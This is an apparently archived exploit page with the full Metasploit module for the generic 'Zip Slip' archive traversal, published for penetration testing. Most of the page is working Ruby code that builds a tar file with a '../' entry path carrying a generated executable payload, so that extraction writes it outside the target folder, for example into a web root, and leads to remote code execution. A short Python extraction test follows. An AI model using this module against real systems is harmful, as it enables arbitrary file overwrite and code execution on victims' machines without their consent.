Generic Zip Slip Traversal

This is a generic arbitrary file overwrite technique, which typically results in remote command execution. This targets a simple yet widespread vulnerability that has been seen affecting a variety of popular products including HP, Amazon, Apache, Cisco, etc. The idea is that often archive extraction libraries have no mitigations against directory traversal attacks. If an application uses it, there is a risk when opening an archive that is maliciously modified, and results in the embedded payload to be written to an arbitrary location (such as a web root), and results in remote code execution.


MD5 | ff948c64df1f6f021439eaa12e78eb94

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/zip'

class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking

include Msf::Exploit::FILEFORMAT
include Msf::Exploit::EXE

def initialize(info={})
super(update_info(info,
'Name' => "Generic Zip Slip Traversal Vulnerability",
'Description' => %q{
This is a generic arbitrary file overwrite technique, which typically results in remote
command execution. This targets a simple yet widespread vulnerability that has been
seen affecting a variety of popular products including HP, Amazon, Apache, Cisco, etc.
The idea is that often archive extraction libraries have no mitigations against
directory traversal attacks. If an application uses it, there is a risk when opening an
archive that is maliciously modified, and result in the embedded payload to be written
to an arbitrary location (such as a web root), and result in remote code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Snyk', # Technique discovery
'sinn3r' # Metasploit
],
'References' =>
[
['URL', 'https://snyk.io/research/zip-slip-vulnerability']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'DisablePayloadHandler' => true
},
'Platform' => ['linux', 'win', 'unix'],
'Targets' =>
[
['Manually determined', {}]
],
'Privileged' => false,
'DisclosureDate' => "Jun 05 2018"
))

register_options([
OptString.new('FILENAME', [true, 'The tar file (tar)', 'msf.tar']),
OptString.new('TARGETPAYLOADPATH', [true, 'The targeted path for payload', '../payload.bin'])
])
end

class ZipSlipArchive
attr_reader :data
attr_reader :fname
attr_reader :payload

def initialize(n, p)
@fname = n
@payload = p
@data = make
end

def make
data = ''
path = Rex::FileUtils.normalize_unix_path(fname)
tar = StringIO.new
Rex::Tar::Writer.new(tar) do |t|
t.add_file(path, 0777) do |f|
f.write(payload)
end
end
tar.seek(0)
data = tar.read
tar.close
data
end
end

def make_tar(target_payload_path)
elf = generate_payload_exe(code: payload.encoded)
archive = ZipSlipArchive.new(target_payload_path, generate_payload_exe)
archive.make
end

def exploit
target_payload_path = datastore['TARGETPAYLOADPATH']
unless target_payload_path.match(/\.\.\//)
print_error('Please set a traversal path')
return
end

tar = make_tar(target_payload_path)
file_create(tar)
print_status('When extracted, the payload is expected to extract to:')
print_status(target_payload_path)
end
end

=begin
A quick test:

$ python
>>> import tarfile
>>> t = tarfile.open('test.tar')
>>> t.extractall()
>>> exit()

=end

Related Posts